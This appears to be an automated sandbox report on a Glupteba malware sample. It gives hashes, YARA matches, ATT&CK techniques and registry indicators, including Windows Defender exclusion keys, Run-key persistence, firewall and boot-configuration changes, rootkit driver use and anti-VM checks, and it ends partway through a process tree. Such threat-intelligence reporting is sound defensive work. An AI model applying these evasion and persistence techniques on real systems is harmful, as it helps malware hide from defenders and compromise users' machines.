glupteba | d48faed24c55c92c7f88c78c003245f1c5de33636432e37425ab799fdd73a7e2

Analysis

max time kernel
145s
max time network
125s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
27-08-2024 10:39

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General

Target

c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Size

3.8MB
MD5

c4d59e5a2227962b4b70519f124417cb
SHA1

a76548252bef5b1bd886b7552554ddbcf4f14ecc
SHA256

d48faed24c55c92c7f88c78c003245f1c5de33636432e37425ab799fdd73a7e2
SHA512

a7f4c0f317b1fffdfbaf1f8d2bc767b0d801fdf723a99f4f30af5bbf757956b36edcd8be24a0a5d8b485eca5a90af62ebe303839faa6cf7bdb853ad1dd9d61b0
SSDEEP

98304:k5D4M6K6+tGKnqr7tQH4aibabkwZk660MrZ6Vx3uNb4sNlGPHcMX:hMwhvaFZkLztouR4sNlGPc6

Score

10^/10

glupteba discovery dropper evasion loader persistence privilege_escalation rootkit trojan

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 19 IoCs

resource	yara_rule
behavioral1/memory/2652-2-0x00000000036A0000-0x0000000003D96000-memory.dmp	family_glupteba
behavioral1/memory/2652-3-0x0000000000400000-0x0000000000B10000-memory.dmp	family_glupteba
behavioral1/memory/2652-6-0x0000000000400000-0x0000000000B10000-memory.dmp	family_glupteba
behavioral1/memory/2652-8-0x00000000036A0000-0x0000000003D96000-memory.dmp	family_glupteba
behavioral1/memory/2652-4-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/2544-17-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/912-200-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/912-212-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/912-328-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/912-437-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/912-439-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/912-440-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/912-441-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/912-442-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/912-444-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/912-445-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/912-458-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/912-459-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba
behavioral1/memory/912-460-0x0000000000400000-0x000000000313B000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs 12 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\d803d5d18406.exe = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\d803d5d18406\d803d5d18406 = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\WeatheredDarkness = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1240	netsh.exe

Executes dropped EXE 3 IoCs

pid	Process
912	csrss.exe
2380	patch.exe
1232	Process not Found

Loads dropped DLL 11 IoCs

pid	Process
2544	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
2544	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
840	Process not Found
2380	patch.exe
2380	patch.exe
2380	patch.exe
2380	patch.exe
2380	patch.exe
2380	patch.exe
2380	patch.exe
2380	patch.exe

Windows security modification 2 TTPs 12 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\d803d5d18406.exe = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\d803d5d18406\d803d5d18406 = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\WeatheredDarkness = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe = "0"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Windows\CurrentVersion\Run\WeatheredDarkness = "\"C:\\Windows\\rss\\csrss.exe\""	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Modifies boot configuration data using bcdedit 1 IoCs

pid	Process
2408	bcdedit.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F0ACCF77CDCBFF39F6191887F6D2D357	csrss.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F0ACCF77CDCBFF39F6191887F6D2D357	csrss.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\rss\csrss.exe	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20240827103904.cab	makecab.exe
File opened for modification	C:\Windows\rss	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csrss.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace\Session	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-531 = "Sri Lanka Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-42 = "E. South America Standard Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100 = "RD Gateway Quarantine Enforcement Client"	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-462 = "Afghanistan Standard Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-491 = "India Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Key created	\REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-421 = "Russian Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-471 = "Ekaterinburg Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2744	schtasks.exe
2288	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2652	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
2544	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
912	csrss.exe
912	csrss.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2652	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Token: SeImpersonatePrivilege	2652	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
Token: SeSystemEnvironmentPrivilege	912	csrss.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2544 wrote to memory of 3028	2544	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe	35
PID 2544 wrote to memory of 3028	2544	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe	35
PID 2544 wrote to memory of 3028	2544	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe	35
PID 2544 wrote to memory of 3028	2544	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe	35
PID 3028 wrote to memory of 1240	3028	cmd.exe	37
PID 3028 wrote to memory of 1240	3028	cmd.exe	37
PID 3028 wrote to memory of 1240	3028	cmd.exe	37
PID 2544 wrote to memory of 912	2544	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe	38
PID 2544 wrote to memory of 912	2544	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe	38
PID 2544 wrote to memory of 912	2544	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe	38
PID 2544 wrote to memory of 912	2544	c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe	38
PID 912 wrote to memory of 2408	912	csrss.exe	46
PID 912 wrote to memory of 2408	912	csrss.exe	46
PID 912 wrote to memory of 2408	912	csrss.exe	46
PID 912 wrote to memory of 2408	912	csrss.exe	46

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2652
- C:\Users\Admin\AppData\Local\Temp\c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe
  "C:\Users\Admin\AppData\Local\Temp\c4d59e5a2227962b4b70519f124417cb_JaffaCakes118.exe"
